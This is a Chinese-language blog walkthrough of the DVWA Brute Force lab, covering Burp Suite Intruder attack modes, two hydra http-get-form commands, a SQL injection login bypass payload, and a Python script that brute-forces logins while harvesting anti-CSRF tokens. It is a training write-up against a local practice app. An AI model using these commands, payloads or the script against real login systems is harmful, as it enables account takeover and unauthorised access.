Brute Force(暴力破解)

Brute Force(暴力破解)

前言

主要針對dvwa的Brute Force做一個練習,學習瞭解Brute Force。
主要會用到brupsuite和hydra兩個工具。

練習

Low

可以看到下面是暴力破解的界面,但看到這個界面我第一反應是先嚐試sql注入(最近在一個靶場練習,裏面有道sql注入也是這種用戶登錄,而且暫時還沒搞定…,後面搞定再寫篇博客講講菜雞的辛酸淚…),言歸正傳,我們還是先嚐試暴力破解,然後再試下sql注入
在這裏插入圖片描述

暴力破解我知道的工具是hydra,然後我看到有博客用的burp兩個我都試下吧
先使用下burp吧
burp先要抓包
在這裏插入圖片描述
抓到包後右鍵,選擇send to intruder
然後就可以看到上面的菜單欄intruder變成紅色了,點擊進入intruder界面
首先是Target界面,填寫網站ip和port,如果是https勾選上選框
在這裏插入圖片描述

第二個界面Positions ,先說下面的http報文,這裏是要選擇攻擊的位置,把要攻擊的字段選中
比如username後面的1就前後用$包起來,旁邊的add,clear,auto,都很好理解,可以自己試下
在這裏插入圖片描述

上面的type有4種類型

1.Sniper

這裏是依次拿字典去替換其中的一列,比如上面我們選中的username和password。這裏會保持其中一個爲我們的輸入值,而字典替換另一個值
在這裏插入圖片描述
可以看到上面的圖position表示位置,1就表示username,2就是後面的password。後面的payload就表示替換前面位置的值

2.Battering ram

這個也是隻需要一個字典,遍歷字典,每次用遍歷的值替換所有位置(字典有n個值得話就會攻擊n次)
在這裏插入圖片描述
3.Pitchfork

這個是有多個字典,根據你選擇的攻擊的位置的數量來定的,比如上面有username和password,就需要兩個字典,同時遍歷字典,每次從字典取出的值組成一組數據,進行攻擊,當其中任一字典遍歷完的時候,攻擊就結束(攻擊次數爲最短字典長度)
在這裏插入圖片描述
可以看到用戶字典有4個但因爲密碼字典只有兩個所以只有兩次攻擊

4.Cluster Bomb

這個也是需要有多個字典,也是根據你選擇的攻擊的位置的數量來定的,比如上面有username和password,就需要兩個字典。但我覺得這個是比較正常或者說通用的吧。這裏是會窮盡所有組合
比如第一個字典裏有1,2,第二個字典裏也有1,2.它就會用(1,1),(1,2),(2,1),(2,2)來進行4次攻擊
在這裏插入圖片描述
可以看到上面的3個用戶名和2個密碼就組成了6次攻擊

Ok,我們這裏是對用戶登陸頁面進行一個暴破,所以這裏我們選擇Cluster Bomb,分別建立用戶的字典和密碼的字典(暴力破解字典是很重要的,這裏因爲是練習就簡單的構建下字典)
在這裏插入圖片描述
Ok,分別將username和pawword保存到兩個文件中,然後在payloads中對應導入(payload set1對應username payload set2對應 password)

現在就是最激動人心的時刻了,點擊右上方的start attack
攻擊開始…

在這裏插入圖片描述
攻擊結束你會看到如上圖所示界面,怎麼判斷成功沒有了,我們主要length長度來判斷,因爲登陸成功和登陸失敗返回的界面是不一樣的,返回頁面大小也就存在區別

我們看到admin password返回的長度是4704
在這裏插入圖片描述
點擊查看返回的html頁面我們可以看到welcome admin的字樣
在登陸界面我們用admin password進行嘗試,可以看到確實登陸成功
在這裏插入圖片描述

下面我們再來試下hydra

(hydra我真的搞了好久好久,一直不對,直到我在油管上找了一個hydra的視頻看,發現下面也有遇到更我相似問題的人,才解決,你敢相信僅僅只是少了一個空格…hydra真的是對語法非常敏感…)
hydra真的是語法超級敏感,我這裏就不介紹具體用法了,仔細看官方手冊吧…

hydra 192.168.2.205 -L username -P password -V -s 8331 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie:PHPSESSID=4ucu8k4127vtpat7bjmmgmeum2; security=low"

hydra 192.168.2.205 -L username -P password -V -s 8331 http-get-form "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=incorrect:H=Cookie: PHPSESSID=4ucu8k4127vtpat7bjmmgmeum2; security=low"
(不要在意這裏ip的變化,換了下環境)

OK,上面的兩個代碼是不是看起來幾乎一摸一樣(真的就只差了一個空格)
但結果卻差別很大
在這裏插入圖片描述
在這裏插入圖片描述
可以看上面兩張圖,第一張圖是第一條命令運行出來的,你會發現你做的25次嘗試它告訴你都是對了…
下面是第二條語句運行出來的,沒錯它運行出了正確結果…
在這裏插入圖片描述
沒錯3年前就有人人跟我有一樣的問題了,我並不孤單…

還有hydra有個圖形界面xhydra,但並沒有什麼卵用,相當於把命令行拆成了幾個輸入框,依舊語法敏感
在這裏插入圖片描述
這裏url空格少了會依舊不對,可以看到最下面,它給你轉成的命令行…還不如自己手工輸入…
這裏突然覺得brup的暴力破解還是很好用的,只是免費版的只能單線程…

最後我們來試下sql注入

對於這種登陸版的sql注入目前我能想到的
有兩種

  1. select * from table where username= and password =

  2. select password from table where username =

第一種就直接已用戶名和密碼爲條件查詢是否有存在
第二種是已輸入的用戶名查詢出密碼再進行密碼的比較
在這裏插入圖片描述

可以看到這裏應該是第一種情況,最簡單的注入就成功了
但這裏要注意的是admin‘ or 1=1 # 並不會成功,這裏的username類似主鍵是唯一的,所以它對查詢結果的數目做了檢測
**if**(\$result&&mysql_num_rows($result)==1)

所以上面的方法至少要加上limit 1,admin‘ or 1=1 limit 1#這樣就會成功

Medium

Medium 在暴力破解上並沒有什麼太多的難度增加
可以審計代碼,發現僅僅是在錯的時候增加了兩秒的延遲…畢竟我們都是用工具,我們可以等的…(實測用上面的方法同理可以過)
但對sql注入進行了特殊字符轉義和採用第二種查詢方式。
對於這種字符型注入增並加了mysql_real_escape_string函數的,我是懵逼的…特別是這數據庫版本也很新
這裏版本低的話有寬字節注入的方法,下次我試下再來說吧,可以參考下面的文章

魔術引號、addslashes和mysql_real_escape_string的防禦以及繞過

High

high級別加入了user_token,每次頁面返回數據會給你一個token,下次再去訪問的時候必須攜帶token值纔行。因爲token值是不斷變化的brup和hydra這兩個工具就用不上了…這時候需要自己寫腳本了,當然用python了(當年寫爬蟲用過的模塊那些基本忘的差不多了…),好久沒寫腳本的我感到很痛苦…(硬着頭皮上哦)

基本是模仿brup的Cluster Bomb模式寫的,也是單線程…(寫的好痛苦,urllib,xpath這些完全忘了…python3)

"""
針對dvwa暴力破解high級別的腳本
"""

import urllib.request
from lxml import etree


header={
    'Host': '192.168.2.205:8331',
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Referer': 'http://192.168.2.205:8331/',
    'Connection': 'close',
    'Cookie': 'PHPSESSID=teekas77m4bogenehmeuek3m65; security=high'
}

def get_content(url):
    global header
    request = urllib.request.Request(url = url, headers=header)
    response = urllib.request.urlopen(request).read().decode('utf-8')
    return response

def get_tocken(content):
    html = etree.HTML(content)
    result = html.xpath('//div[contains(@class,"vulnerable_code_area")]//input[contains(@type,"hidden")]/@value')
    #print(result[0])
    return result[0]

def judge_flag(content):
    flag = 'Username and/or password incorrect.'
    if flag in content:
        return False
    return True

def main():
    url ="http://192.168.2.205:8331/vulnerabilities/brute/"
    tocken = get_tocken(get_content(url))

    with open('username', 'r') as un:
        username = un.readline()
        while username:
            with open('password', 'r') as pw:
                password = pw.readline()
                while password:
                    url = "http://192.168.2.205:8331/vulnerabilities/brute/?username=" + username.strip() + "&password=" + password.strip() + "&Login=Login&user_token=" + tocken + "#"
                    #print(url)
                    content = get_content(url)
                    if judge_flag(content):
                        print('username:%s  password:%s success!!!' %(username.strip(),password.strip()))
                    tocken = get_tocken(content)
                    password = pw.readline()
            username = un.readline()

    print('over!')

if __name__ == "__main__":
    main()

在這裏插入圖片描述
可以看到很成功的跑出了結果…

Impossible

錯誤次數過多會鎖定賬戶,這就沒法爆破了…

總結

爆破首先我覺得要有一個好的字典
其次對方沒有太好的防爆破機制(我覺得限制次數後就很難做了)
這裏我們也沒遇到驗證碼那些(爬蟲的時候識別驗證碼感覺人工智能準確率並不高,當然模型訓練的也不太好)
總之,我覺得爆破的技術含量也不是很高,重在字典的建立(或者說社會工程學?)

參考

  1. 新手指南:DVWA-1.9全級別教程之Brute Force
  2. 關於Burp Suite Intruder 的四種攻擊方式
  3. Hydra暴力破解工具的用法
  4. 魔術引號、addslashes和mysql_real_escape_string的防禦以及繞過
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章